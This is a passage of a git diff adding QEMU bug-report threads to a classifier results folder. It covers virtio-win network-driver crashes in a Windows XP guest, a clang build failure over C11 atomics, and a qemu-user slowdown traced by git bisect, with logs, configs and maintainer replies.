3072 -smp 1 -name nata_xp -uuid da607499-1d8f-e7ef-d1d2-38 +1c1839e4ba -chardev socket,id=monitor,path=/var/lib/libvirt/qemu/nata_xp.monitor,server,nowait -monitor chardev:monitor -localtime -boot c -drive file=/root/nata_xp.qcow2,if=virtio,index=0,boot=on,format=raw +,cache=none -drive file=/home/admino/virtio-win-0.1-22.iso,if=ide,media=cdrom,index=2,format=raw -net nic,macaddr=00:16:36:06:02:69,vlan=0,model=virtio,name=virtio.0 -net tap,fd=43,vlan=0,name=tap.0 -serial +none -parallel none -usb -usbdevice tablet -vnc 127.0.0.1:3 -k en-us -vga cirrus +pci_add_option_rom: failed to find romfile "pxe-virtio.bin" + +with kernel 2.6.32-40-generic #87-Ubuntu SMP Tue Mar 6 00:56:56 UTC 2012 x86_64 GNU/Linux +qemu drivers are virtio-win-0.1-22.iso +kvm version 1:84+dfsg-0ubuntu16+0.12.3+noroms+0ubuntu9.18 +qemu 0.12.3+noroms-0ubuntu9.18 + + + +I forgot: guest os is Windows XP Pro SP3 + + + +Hi Vadim, +Here is a recent bug report with virtio-win-0.1-22.iso. Wanted to +bring it to your attention, please let me know if you already monitor +these bug emails. + +Stefan + +On Sat, Apr 28, 2012 at 9:49 AM, Vitalis <email address hidden> wrote: +> Public bug reported: +> +> Hello! I have: +> +> virtio_ioport_write: unexpected address 0x13 value 0x1 +> +> on config: +> +> LC_ALL=C PATH=/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/sbin:/sbin:/bin QEMU_AUDIO_DRV=none /usr/bin/kvm -S -M pc-0.12 -cpu qemu32 -enable-kvm -m 3072 -smp 1 -name nata_xp -uuid da607499-1d8f-e7ef-d1d2-38 +> 1c1839e4ba -chardev socket,id=monitor,path=/var/lib/libvirt/qemu/nata_xp.monitor,server,nowait -monitor chardev:monitor -localtime -boot c -drive file=/root/nata_xp.qcow2,if=virtio,index=0,boot=on,format=raw +> ,cache=none -drive file=/home/admino/virtio-win-0.1-22.iso,if=ide,media=cdrom,index=2,format=raw -net nic,macaddr=00:16:36:06:02:69,vlan=0,model=virtio,name=virtio.0 -net tap,fd=43,vlan=0,name=tap.0 -serial +> none -parallel none -usb -usbdevice tablet -vnc 127.0.0.1:3 -k en-us -vga cirrus +> pci_add_option_rom: failed to find romfile "pxe-virtio.bin" +> +> with kernel 2.6.32-40-generic #87-Ubuntu SMP Tue Mar 6 00:56:56 UTC 2012 x86_64 GNU/Linux +> qemu drivers are virtio-win-0.1-22.iso +> kvm version 1:84+dfsg-0ubuntu16+0.12.3+noroms+0ubuntu9.18 +> qemu 0.12.3+noroms-0ubuntu9.18 +> +> ** Affects: qemu +> Importance: Undecided +> Status: New +> +> +> ** Tags: bug kvm virtio +> +> -- +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> https://bugs.launchpad.net/bugs/990364 +> +> Title: +> virtio_ioport_write: unexpected address 0x13 value 0x1 +> +> Status in QEMU: +> New +> +> Bug description: +> Hello! I have: +> +> virtio_ioport_write: unexpected address 0x13 value 0x1 +> +> on config: +> +> LC_ALL=C PATH=/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/sbin:/sbin:/bin QEMU_AUDIO_DRV=none /usr/bin/kvm -S -M pc-0.12 -cpu qemu32 -enable-kvm -m 3072 -smp 1 -name nata_xp -uuid da607499-1d8f-e7ef-d1d2-38 +> 1c1839e4ba -chardev socket,id=monitor,path=/var/lib/libvirt/qemu/nata_xp.monitor,server,nowait -monitor chardev:monitor -localtime -boot c -drive file=/root/nata_xp.qcow2,if=virtio,index=0,boot=on,format=raw +> ,cache=none -drive file=/home/admino/virtio-win-0.1-22.iso,if=ide,media=cdrom,index=2,format=raw -net nic,macaddr=00:16:36:06:02:69,vlan=0,model=virtio,name=virtio.0 -net tap,fd=43,vlan=0,name=tap.0 -serial +> none -parallel none -usb -usbdevice tablet -vnc 127.0.0.1:3 -k en-us -vga cirrus +> pci_add_option_rom: failed to find romfile "pxe-virtio.bin" +> +> with kernel 2.6.32-40-generic #87-Ubuntu SMP Tue Mar 6 00:56:56 UTC 2012 x86_64 GNU/Linux +> qemu drivers are virtio-win-0.1-22.iso +> kvm version 1:84+dfsg-0ubuntu16+0.12.3+noroms+0ubuntu9.18 +> qemu 0.12.3+noroms-0ubuntu9.18 +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/990364/+subscriptions +> + + +On Monday, April 30, 2012 03:31:03 PM Stefan Hajnoczi wrote: +> Hi Vadim, +> Here is a recent bug report with virtio-win-0.1-22.iso. Wanted to +> bring it to your attention, please let me know if you already monitor +> these bug emails. +Hi Stefan, +Yes, it's on my radar. +Cheers, +Vadim. +> +> Stefan +> +> On Sat, Apr 28, 2012 at 9:49 AM, Vitalis <email address hidden> wrote: +> > Public bug reported: +> > +> > Hello! I have: +> > +> > virtio_ioport_write: unexpected address 0x13 value 0x1 +> > +> > on config: +> > +> > LC_ALL=C +> > PATH=/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/sbin:/sbin:/bin +> > QEMU_AUDIO_DRV=none /usr/bin/kvm -S -M pc-0.12 -cpu qemu32 -enable-kvm +> > -m 3072 -smp 1 -name nata_xp -uuid da607499-1d8f-e7ef-d1d2-38 1c1839e4ba +> > -chardev +> > socket,id=monitor,path=/var/lib/libvirt/qemu/nata_xp.monitor,server,nowa +> > it -monitor chardev:monitor -localtime -boot c -drive +> > file=/root/nata_xp.qcow2,if=virtio,index=0,boot=on,format=raw +> > ,cache=none -drive +> > file=/home/admino/virtio-win-0.1-22.iso,if=ide,media=cdrom,index=2,forma +> > t=raw -net +> > nic,macaddr=00:16:36:06:02:69,vlan=0,model=virtio,name=virtio.0 -net +> > tap,fd=43,vlan=0,name=tap.0 -serial none -parallel none -usb -usbdevice +> > tablet -vnc 127.0.0.1:3 -k en-us -vga cirrus pci_add_option_rom: failed +> > to find romfile "pxe-virtio.bin" +> > +> > with kernel 2.6.32-40-generic #87-Ubuntu SMP Tue Mar 6 00:56:56 UTC 2012 +> > x86_64 GNU/Linux qemu drivers are virtio-win-0.1-22.iso +> > kvm version 1:84+dfsg-0ubuntu16+0.12.3+noroms+0ubuntu9.18 +> > qemu 0.12.3+noroms-0ubuntu9.18 +> > +> > ** Affects: qemu +> > Importance: Undecided +> > Status: New +> > +> > +> > ** Tags: bug kvm virtio +> > +> > -- +> > You received this bug notification because you are a member of qemu- +> > devel-ml, which is subscribed to QEMU. +> > https://bugs.launchpad.net/bugs/990364 +> > +> > Title: +> > virtio_ioport_write: unexpected address 0x13 value 0x1 +> > +> > Status in QEMU: +> > New +> > +> > Bug description: +> > Hello! I have: +> > +> > virtio_ioport_write: unexpected address 0x13 value 0x1 +> > +> > on config: +> > +> > LC_ALL=C +> > PATH=/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/sbin:/sbin:/bin +> > QEMU_AUDIO_DRV=none /usr/bin/kvm -S -M pc-0.12 -cpu qemu32 -enable-kvm +> > -m 3072 -smp 1 -name nata_xp -uuid da607499-1d8f-e7ef-d1d2-38 1c1839e4ba +> > -chardev +> > socket,id=monitor,path=/var/lib/libvirt/qemu/nata_xp.monitor,server,nowa +> > it -monitor chardev:monitor -localtime -boot c -drive +> > file=/root/nata_xp.qcow2,if=virtio,index=0,boot=on,format=raw +> > ,cache=none -drive +> > file=/home/admino/virtio-win-0.1-22.iso,if=ide,media=cdrom,index=2,forma +> > t=raw -net +> > nic,macaddr=00:16:36:06:02:69,vlan=0,model=virtio,name=virtio.0 -net +> > tap,fd=43,vlan=0,name=tap.0 -serial none -parallel none -usb -usbdevice +> > tablet -vnc 127.0.0.1:3 -k en-us -vga cirrus pci_add_option_rom: failed +> > to find romfile "pxe-virtio.bin" +> > +> > with kernel 2.6.32-40-generic #87-Ubuntu SMP Tue Mar 6 00:56:56 UTC 2012 +> > x86_64 GNU/Linux qemu drivers are virtio-win-0.1-22.iso +> > kvm version 1:84+dfsg-0ubuntu16+0.12.3+noroms+0ubuntu9.18 +> > qemu 0.12.3+noroms-0ubuntu9.18 +> > +> > To manage notifications about this bug go to: +> > https://bugs.launchpad.net/qemu/+bug/990364/+subscriptions + + +On Monday, April 30, 2012 07:17:09 PM Vadim Rozenfeld wrote: +> On Monday, April 30, 2012 03:31:03 PM Stefan Hajnoczi wrote: +> > Hi Vadim, +> > Here is a recent bug report with virtio-win-0.1-22.iso. Wanted to +> > bring it to your attention, please let me know if you already monitor +> > these bug emails. +> +> Hi Stefan, +> Yes, it's on my radar. +> Cheers, +> Vadim. +> +seems to be ndis related +(https://bugzilla.redhat.com/show_bug.cgi?id=808654#c10) +cc'ing Yan. + +> > Stefan +> > +> > On Sat, Apr 28, 2012 at 9:49 AM, Vitalis <email address hidden> wrote: +> > > Public bug reported: +> > > +> > > Hello! I have: +> > > +> > > virtio_ioport_write: unexpected address 0x13 value 0x1 +> > > +> > > on config: +> > > +> > > LC_ALL=C +> > > PATH=/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/sbin:/sbin:/bin +> > > QEMU_AUDIO_DRV=none /usr/bin/kvm -S -M pc-0.12 -cpu qemu32 -enable-kvm +> > > -m 3072 -smp 1 -name nata_xp -uuid da607499-1d8f-e7ef-d1d2-38 +> > > 1c1839e4ba -chardev +> > > socket,id=monitor,path=/var/lib/libvirt/qemu/nata_xp.monitor,server,now +> > > a it -monitor chardev:monitor -localtime -boot c -drive +> > > file=/root/nata_xp.qcow2,if=virtio,index=0,boot=on,format=raw +> > > ,cache=none -drive +> > > file=/home/admino/virtio-win-0.1-22.iso,if=ide,media=cdrom,index=2,form +> > > a t=raw -net +> > > nic,macaddr=00:16:36:06:02:69,vlan=0,model=virtio,name=virtio.0 -net +> > > tap,fd=43,vlan=0,name=tap.0 -serial none -parallel none -usb -usbdevice +> > > tablet -vnc 127.0.0.1:3 -k en-us -vga cirrus pci_add_option_rom: failed +> > > to find romfile "pxe-virtio.bin" +> > > +> > > with kernel 2.6.32-40-generic #87-Ubuntu SMP Tue Mar 6 00:56:56 UTC +> > > 2012 x86_64 GNU/Linux qemu drivers are virtio-win-0.1-22.iso +> > > kvm version 1:84+dfsg-0ubuntu16+0.12.3+noroms+0ubuntu9.18 +> > > qemu 0.12.3+noroms-0ubuntu9.18 +> > > +> > > ** Affects: qemu +> > > +> > > Importance: Undecided +> > > +> > > Status: New +> > > +> > > ** Tags: bug kvm virtio +> > > +> > > -- +> > > You received this bug notification because you are a member of qemu- +> > > devel-ml, which is subscribed to QEMU. +> > > https://bugs.launchpad.net/bugs/990364 +> > > +> > > Title: +> > > virtio_ioport_write: unexpected address 0x13 value 0x1 +> > > +> > > Status in QEMU: +> > > New +> > > +> > > Bug description: +> > > Hello! I have: +> > > +> > > virtio_ioport_write: unexpected address 0x13 value 0x1 +> > > +> > > on config: +> > > +> > > LC_ALL=C +> > > +> > > PATH=/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/sbin:/sbin:/bin +> > > QEMU_AUDIO_DRV=none /usr/bin/kvm -S -M pc-0.12 -cpu qemu32 -enable-kvm +> > > -m 3072 -smp 1 -name nata_xp -uuid da607499-1d8f-e7ef-d1d2-38 +> > > 1c1839e4ba -chardev +> > > socket,id=monitor,path=/var/lib/libvirt/qemu/nata_xp.monitor,server,now +> > > a it -monitor chardev:monitor -localtime -boot c -drive +> > > file=/root/nata_xp.qcow2,if=virtio,index=0,boot=on,format=raw +> > > ,cache=none -drive +> > > file=/home/admino/virtio-win-0.1-22.iso,if=ide,media=cdrom,index=2,form +> > > a t=raw -net +> > > nic,macaddr=00:16:36:06:02:69,vlan=0,model=virtio,name=virtio.0 -net +> > > tap,fd=43,vlan=0,name=tap.0 -serial none -parallel none -usb -usbdevice +> > > tablet -vnc 127.0.0.1:3 -k en-us -vga cirrus pci_add_option_rom: failed +> > > to find romfile "pxe-virtio.bin" +> > > +> > > with kernel 2.6.32-40-generic #87-Ubuntu SMP Tue Mar 6 00:56:56 UTC +> > > 2012 +> > > +> > > x86_64 GNU/Linux qemu drivers are virtio-win-0.1-22.iso +> > > +> > > kvm version 1:84+dfsg-0ubuntu16+0.12.3+noroms+0ubuntu9.18 +> > > qemu 0.12.3+noroms-0ubuntu9.18 +> > > +> > > To manage notifications about this bug go to: +> > > https://bugs.launchpad.net/qemu/+bug/990364/+subscriptions + + +And what? Where can I get new drivers for WinXP? + +On Thursday, May 03, 2012 10:17:15 PM Vitalis wrote: +> And what? Where can I get new drivers for WinXP? + +http://people.redhat.com/vrozenfe/build-27/virtio-win-prewhql-0.1.zip + + +But with new drivers i got "virtio_ioport_write: unexpected address 0x13 value 0x1" again. + +can you upload the corresponding dump file? + +I see in properties of drivers version 51.63.103.2700 (date is 20.04.2012). + +It doesn't look like as a vritio-win driver problem. +you get the following message +"virtio_ioport_write: unexpected address 0x13 value 0x1" +because netkvm driver triggers BSOD event, which happened in +different stack, and then kills the hosting QEMU prccess +by writing to ISR register. + +In your case (minidumps in comments #1 and #11) BSOD +happened inside of Raw Input Thread, which usually caused +by all kind of key and mouse filters/loggers. + +Unfortunately minidump doesn't provide enough information +to troubleshoot such kind of problems. If it's possible - try disabling +antivirus and RDP on your system. +Vadim. + +I change network card in guest to RTL and no have BSOD, on all guest. Why? +How can we detect the cause? + +and how can i use winXP without antivirus and RDP? Its nonsense!!! :-) no sense! + +Hard to say at the moment. +In both cases the crash stack looks absolutely the same: + +nt!KiDeliverApc+0x66 +hal!HalpApcInterrupt+0xc5 +hal!HalRequestSoftwareInterrupt+0x3b +win32k!RawInputThread+0x625 +win32k!xxxCreateSystemThreads+0x60 +win32k!NtUserCallOneParam+0x23 +nt!KiFastCallEntry+0xf8 + +Try reproducing the problem with Kernel +memory dump option turned on instead of +minidump. In this case it will be possible +to extract more useful information. + +Vadim. + +How turn on kernel memory dump in XP? + +http://support.microsoft.com/kb/316450 + +Hello! +ANd again "virtio_ioport_write: unexpected address 0x13 value 0x1". +Drvers: from virtio-win-0.1-30.iso +config: <domain type='kvm'> + <name>buh_xp</name> + <uuid>f0e8ac00-4545-eb5d-e8f2-c885063e5ad0</uuid> + <memory>1097152</memory> + <currentMemory>1097152</currentMemory> + <vcpu>1</vcpu> + <os> + <type arch='i686' machine='pc-0.12'>hvm</type> + <boot dev='hd'/> + </os> + <features> + <acpi/> + </features> + <clock offset='localtime'/> + <on_poweroff>destroy</on_poweroff> + <on_reboot>restart</on_reboot> + <on_crash>restart</on_crash> + <devices> + <emulator>/usr/bin/kvm</emulator> + <disk type='file' device='disk'> + <driver name='qemu' type='raw' cache='none'/> + <source file='/root/buh_xp.qcow2'/> + <target dev='hda' bus='virtio'/> + </disk> + <disk type='file' device='cdrom'> + <driver name='qemu' type='raw'/> + <source file='/home/worky/virtio-win-0.1-30.iso'/> + <target dev='hdc' bus='ide'/> + <readonly/> + </disk> + <interface type='bridge'> + <mac address='00:16:36:2f:11:31'/> + <source bridge='br0'/> + <model type='virtio'/> + </interface> + <console type='pty'> + <target port='0'/> + </console> + <console type='pty'> + <target port='0'/> + </console> + <input type='tablet' bus='usb'/> + <input type='mouse' bus='ps2'/> + <graphics type='vnc' port='-1' autoport='yes' keymap='en-us'/> + <video> + <model type='cirrus' vram='9216' heads='1'/> + </video> + </devices> +</domain> + +uname: Linux test-2 2.6.32-43-server #97-Ubuntu SMP Wed Sep 5 16:56:41 UTC 2012 x86_64 GNU/Linux +qemu-kvm: 0.12.3+noroms-0ubuntu9.20 +kvm: 1:84+dfsg-0ubuntu16+0.12.3+noroms+0ubuntu9.20 +hardware: SuperMicro x8sil-f + + +I can't add much, except that I started noticing his issue when migrating my VMs to an Ubuntu Precise server hypervisor where under (heavy?) load my Win 2008 Server VM started to crash very frequently with the error showing up in the libvirt log of the VM. + +It might be useful information that I ended up moving the VM back to a Debian Squeeze hypervisor which hosted it originally and things were running smoothly until earlier today when a crash with the same message happened again. What's sure is that under Squeeze the issue is far-far less frequent, on Precise the VM got reset a dozen times during the first 48 h, while on Squeeze it's been running fine even under heavy load for weeks without a hiccup. + +Details of the Precise hypervisor: +kvm: 1:84+dfsg-0ubuntu16+1.0+noroms+0ubuntu14.3 +qemu-kvm: 1.0+noroms-0ubuntu14.3 +kernel: 3.2.0-32-generic +(tested with virtio drivers virtio-win-0.1-15.iso and virtio-win-0.1-30.iso) + +Details of the Squeeze hypervisor: +kvm: 1:0.12.5+dfsg-5+squeeze8 +qemu-kvm: 0.12.5+dfsg-5+squeeze8 +kernel: 2.6.32-5-amd64 +(tested with virtio drivers virtio-win-0.1-15.iso) + + +IMHO, Ubuntu Server for KVM virtualization - is BAD idea! Very BAD idea...... + +Status changed to 'Confirmed' because the bug affects multiple users. + +Hi, +this got to my attention after being reassigned from upstream to Ubuntu's qemu. + +I'd assume that this is very much timed out and no more applicable and mark it incomplete by that to give everybody a chance to object and describe what they face today. + diff --git a/results/classifier/deepseek-1/output/operations./1895471 b/results/classifier/deepseek-1/output/operations./1895471 new file mode 100644 index 00000000..f0dd27f0 --- /dev/null +++ b/results/classifier/deepseek-1/output/operations./1895471 @@ -0,0 +1,80 @@ + +compilation error with clang in util/async.c + +configured with ` CC=clang CXX=clang++ ../configure --target-list=x86_64-softmmu --enable-kvm --enable-curl --enable-debug --enable-jemalloc --enable-fuzzing --enable-sdl` and after make I get the following error related to c11 atomics. I'm using clang because I'm experimenting with fuzzer + +[glitz@archlinux /code/qemu/build]$ ninja -j5 +[479/2290] Compiling C object libqemuutil.a.p/util_async.c.o +FAILED: libqemuutil.a.p/util_async.c.o +clang -Ilibqemuutil.a.p -I. -I.. -Iqapi -Itrace -Iui -Iui/shader -I/usr/include/p11-kit-1 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/libmount -I/usr/include/blkid -I/usr/include/gio-unix-2.0 -Ilinux-headers -Xclang -fcolor-diagnostics -pipe -Wall -Winvalid-pch -Werror -std=gnu99 -g -m64 -mcx16 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -fno-common -fwrapv -Wold-style-definition -Wtype-limits -Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers -Wempty-body -Wnested-externs -Wendif-labels -Wexpansion-to-defined -Wno-initializer-overrides -Wno-missing-include-dirs -Wno-shift-negative-value -Wno-string-plus-int -Wno-typedef-redefinition -Wno-tautological-type-limit-compare -fstack-protector-strong -fsanitize=fuzzer-no-link -iquote /code/qemu/tcg/i386 -isystem /code/qemu/linux-headers -iquote . -iquote /code/qemu -iquote /code/qemu/accel/tcg -iquote /code/qemu/include -iquote /code/qemu/disas/libvixl -pthread -fPIC -MD -MQ libqemuutil.a.p/util_async.c.o -MF libqemuutil.a.p/util_async.c.o.d -o libqemuutil.a.p/util_async.c.o -c ../util/async.c +../util/async.c:79:17: error: address argument to atomic operation must be a pointer to _Atomic type ('unsigned int *' invalid) + old_flags = atomic_fetch_or(&bh->flags, BH_PENDING | new_flags); + ^ ~~~~~~~~~~ +/usr/lib/clang/10.0.1/include/stdatomic.h:138:42: note: expanded from macro 'atomic_fetch_or' +#define atomic_fetch_or(object, operand) __c11_atomic_fetch_or(object, operand, __ATOMIC_SEQ_CST) + ^ ~~~~~~ +../util/async.c:105:14: error: address argument to atomic operation must be a pointer to _Atomic type ('unsigned int *' invalid) + *flags = atomic_fetch_and(&bh->flags, + ^ ~~~~~~~~~~ +/usr/lib/clang/10.0.1/include/stdatomic.h:144:43: note: expanded from macro 'atomic_fetch_and' +#define atomic_fetch_and(object, operand) __c11_atomic_fetch_and(object, operand, __ATOMIC_SEQ_CST) + ^ ~~~~~~ +2 errors generated. +[483/2290] Compiling C object libqemuutil.a.p/util_qemu-error.c.o +ninja: build stopped: subcommand failed. + +On Sun, Sep 13, 2020 at 06:56:12PM -0000, Amey Narkhede wrote: +> configured with ` CC=clang CXX=clang++ ../configure --target- +> list=x86_64-softmmu --enable-kvm --enable-curl --enable-debug --enable- +> jemalloc --enable-fuzzing --enable-sdl` and after make I get the +> following error related to c11 atomics. I'm using clang because I'm +> experimenting with fuzzer +> +> [glitz@archlinux /code/qemu/build]$ ninja -j5 +> [479/2290] Compiling C object libqemuutil.a.p/util_async.c.o +> FAILED: libqemuutil.a.p/util_async.c.o +> clang -Ilibqemuutil.a.p -I. -I.. -Iqapi -Itrace -Iui -Iui/shader -I/usr/include/p11-kit-1 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/libmount -I/usr/include/blkid -I/usr/include/gio-unix-2.0 -Ilinux-headers -Xclang -fcolor-diagnostics -pipe -Wall -Winvalid-pch -Werror -std=gnu99 -g -m64 -mcx16 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -fno-common -fwrapv -Wold-style-definition -Wtype-limits -Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers -Wempty-body -Wnested-externs -Wendif-labels -Wexpansion-to-defined -Wno-initializer-overrides -Wno-missing-include-dirs -Wno-shift-negative-value -Wno-string-plus-int -Wno-typedef-redefinition -Wno-tautological-type-limit-compare -fstack-protector-strong -fsanitize=fuzzer-no-link -iquote /code/qemu/tcg/i386 -isystem /code/qemu/linux-headers -iquote . -iquote /code/qemu -iquote /code/qemu/accel/tcg -iquote /code/qemu/include -iquote /code/qemu/disas/libvixl -pthread -fPIC -MD -MQ libqemuutil.a.p/util_async.c.o -MF libqemuutil.a.p/util_async.c.o.d -o libqemuutil.a.p/util_async.c.o -c ../util/async.c +> ../util/async.c:79:17: error: address argument to atomic operation must be a pointer to _Atomic type ('unsigned int *' invalid) +> old_flags = atomic_fetch_or(&bh->flags, BH_PENDING | new_flags); +> ^ ~~~~~~~~~~ +> /usr/lib/clang/10.0.1/include/stdatomic.h:138:42: note: expanded from macro 'atomic_fetch_or' +> #define atomic_fetch_or(object, operand) __c11_atomic_fetch_or(object, operand, __ATOMIC_SEQ_CST) +> ^ ~~~~~~ +> ../util/async.c:105:14: error: address argument to atomic operation must be a pointer to _Atomic type ('unsigned int *' invalid) +> *flags = atomic_fetch_and(&bh->flags, +> ^ ~~~~~~~~~~ +> /usr/lib/clang/10.0.1/include/stdatomic.h:144:43: note: expanded from macro 'atomic_fetch_and' +> #define atomic_fetch_and(object, operand) __c11_atomic_fetch_and(object, operand, __ATOMIC_SEQ_CST) +> ^ ~~~~~~ +> 2 errors generated. +> [483/2290] Compiling C object libqemuutil.a.p/util_qemu-error.c.o +> ninja: build stopped: subcommand failed. + +This happens when a system header file includes <stdatomic.h>. QEMU's +"atomic.h" conflicts with <stdatomic.h> in that QEMU atomic variables do +not need to be declared _Atomic. + +Please rerun the full clang command-line above from your meson build +directory with -E instead of -c. Then upload the +libqemuutil.a.p/util_async.c.o so we can see why stdatomic.h was +included. + + +Ok. So I attached the util_async.o file below + +On Mon, Sep 14, 2020 at 10:52:16AM -0000, Amey Narkhede wrote: +> Ok. So I attached the util_async.o file below + +It looks like you can work around this issue with ./configure --disable-linux-io-uring. + +I'll investigate what can be done to solve the interference between +<stdatomic.h> and QEMU's "atomic.h" next week. + + +Mailing list discussion about how to fix this: +https://lists.gnu.org/archive/html/qemu-devel/2020-09/msg07392.html + +I think this has been fixed here: +https://gitlab.com/qemu-project/qemu/-/commit/d73415a315471a +... so I'm closing this now. If you still have problems, please open a new ticket in our new issue tracker here: https://gitlab.com/qemu-project/qemu/-/issues + diff --git a/results/classifier/deepseek-1/output/option./1756807 b/results/classifier/deepseek-1/output/option./1756807 new file mode 100644 index 00000000..0f727616 --- /dev/null +++ b/results/classifier/deepseek-1/output/option./1756807 @@ -0,0 +1,128 @@ + +performance regression in qemu-user + proot + +To reproduce: + +1. Install qemu-user-static and proot +2. Enter some arm chroot using them: + + proot -0 -q qemu-arm-static -w / -r chroot/ /bin/bash + +3. Run a command which normally takes a short but measurable amount of time: + + cd /usr/share/doc && time grep -R hello + +Result: + +This is over 100 times slower on 18.04 than it was on 16.04. I am not sure if proot or qemu is causing the problem, but proot version has not changed. Also note that on 16.04 I am using the cloud repo version of qemu, which is newer than 16.04 stock, but still older than 18.04. + +Although system 2 is lower spec than system 1, it should not be this much slower. No other software seems to be affected. + +If required I can supply a chroot tarball. It is essentially just a Debian bootstrap though. + +Logs: + + + +System 1: i7-6700 3.4GHz, 32GB RAM, 512GB Crucial MX100 SSD, Ubuntu 16.04 +qemu-arm version 2.10.1(Debian 1:2.10+dfsg-0ubuntu3.4~cloud0) +proot 5.1.0 + +al@al-desktop:~/rpi-ramdisk/raspbian$ proot -0 -q qemu-arm-static -w / -r root/ /bin/bash +root@al-desktop:/# cd /usr/share/doc +root@al-desktop:/usr/share/doc# time grep -R hello +dash/copyright:Debian GNU/Linux hello source package as the file COPYING. If not, + +real 0m0.066s +user 0m0.040s +sys 0m0.008s + + + + + +System 2: i5-5300U 2.30GHz, 8GB RAM, 256GB Crucial MX300 SSD, Ubuntu 18.04 +qemu-arm version 2.11.1(Debian 1:2.11+dfsg-1ubuntu4) +proot 5.1.0 + +al@al-thinkpad:~/rpi-ramdisk/raspbian$ proot -0 -q qemu-arm-static -w / -r root/ /bin/bash +root@al-thinkpad:/# cd /usr/share/doc +root@al-thinkpad:/usr/share/doc# time grep -R hello +dash/copyright:Debian GNU/Linux hello source package as the file COPYING. If not, + +real 0m24.176s +user 0m0.366s +sys 0m11.352s + +ProblemType: Bug +DistroRelease: Ubuntu 18.04 +Package: qemu (not installed) +ProcVersionSignature: Ubuntu 4.15.0-12.13-generic 4.15.7 +Uname: Linux 4.15.0-12-generic x86_64 +ApportVersion: 2.20.8-0ubuntu10 +Architecture: amd64 +Date: Mon Mar 19 07:13:25 2018 +InstallationDate: Installed on 2018-03-18 (0 days ago) +InstallationMedia: Xubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180318) +SourcePackage: qemu +UpgradeStatus: No upgrade log present (probably fresh install) + + + +Also, I noticed this while running a script that normally takes 12 minutes. After 12 hours I killed it. It never stopped advancing or threw any errors. It was just excruciatingly slow the whole time. + +That script builds chroots and can be found here: https://github.com/ali1234/rpi-ramdisk + +Hi Alistair, +I've seen a few similar reports, but afaik it is an upstream issue - we have no custom ubuntu bits in that area applied. + +To confirm that and ask upstream about it I'D ask you if you have a way to build qemu from upstream and check which version there broke it? + +git bisect start +# good: [ba87166e14ffd7299c35badc4c11f3fa3c129ec6] Update version for 2.10.2 release +git bisect good ba87166e14ffd7299c35badc4c11f3fa3c129ec6 +# bad: [7c1beb52ed86191d9e965444d934adaa2531710f] Update version for 2.11.1 release +git bisect bad 7c1beb52ed86191d9e965444d934adaa2531710f +# good: [1ab5eb4efb91a3d4569b0df6e824cc08ab4bd8ec] Update version for v2.10.0 release +git bisect good 1ab5eb4efb91a3d4569b0df6e824cc08ab4bd8ec +# good: [23ca459a455c83ffadb03ab1eedf0b6cff62bfeb] mirror: Switch mirror_dirty_init() to byte-based iteration +git bisect good 23ca459a455c83ffadb03ab1eedf0b6cff62bfeb +# bad: [8cbf74b23cafd1bcee5fdef769f8e94ace43935f] qcow2: Reduce is_zero() rounding +git bisect bad 8cbf74b23cafd1bcee5fdef769f8e94ace43935f +# good: [861cd431c99e56ddb5953ca1da164a9c32b477ca] Merge remote-tracking branch 'remotes/dgibson/tags/ppc-for-2.11-20171017' into staging +git bisect good 861cd431c99e56ddb5953ca1da164a9c32b477ca +# bad: [2bcf018340cbf233f7145e643fc1bb367f23fd90] s390x/tcg: low-address protection support +git bisect bad 2bcf018340cbf233f7145e643fc1bb367f23fd90 +# bad: [840e0691303f84f7837bc75b37595e9b4419f35d] Merge remote-tracking branch 'remotes/mcayland/tags/qemu-openbios-signed' into staging +git bisect bad 840e0691303f84f7837bc75b37595e9b4419f35d +# good: [3da023b5827543ee4c022986ea2ad9d1274410b2] scsi: reject configurations with logical block size > physical block size +git bisect good 3da023b5827543ee4c022986ea2ad9d1274410b2 +# good: [ba6f0fc25e3c14fbb36f4b5a616a89cd3f1de6d0] Merge remote-tracking branch 'remotes/kraxel/tags/opengl-20171017-pull-request' into staging +git bisect good ba6f0fc25e3c14fbb36f4b5a616a89cd3f1de6d0 +# bad: [f443e3960d9d3340dd286e5fc0b661bb165a8b22] linux-user: Fix TARGET_MTIOCTOP/MTIOCGET/MTIOCPOS values +git bisect bad f443e3960d9d3340dd286e5fc0b661bb165a8b22 +# good: [de258eb07db6cf893ef1bfad8c0cedc0b983db55] tcg: Fix off-by-one in assert in page_set_flags +git bisect good de258eb07db6cf893ef1bfad8c0cedc0b983db55 +# bad: [cc1b3960a1a54125d2c87719fa945179bffbae68] linux-user/sh4: Reduce TARGET_VIRT_ADDR_SPACE_BITS to 31 +git bisect bad cc1b3960a1a54125d2c87719fa945179bffbae68 +# bad: [18e80c55bb6ec17c05ec0ba717ec83933c2bfc07] linux-user: Tidy and enforce reserved_va initialization +git bisect bad 18e80c55bb6ec17c05ec0ba717ec83933c2bfc07 +# first bad commit: [18e80c55bb6ec17c05ec0ba717ec83933c2bfc07] linux-user: Tidy and enforce reserved_va initialization + + +origin/master is also affected. + +This upstream bug may be related. It has a patch. + +https://bugs.launchpad.net/qemu/+bug/1740219 + +Thanks for the check Alistar, + +Lets add a Qemu (upstream) bug task so this one is mirrored to the ML. + +I'm not familiar with that area, but on the ML one can decide if it is a dup to https://bugs.launchpad.net/qemu/+bug/1740219 or not. + +I just tested the patch from https://bugs.launchpad.net/qemu/+bug/1740219 and it fixes the problem for me. Specifically I only tried the final patch of the series. + +Then lets join there and let your update give that thread some new life. + diff --git 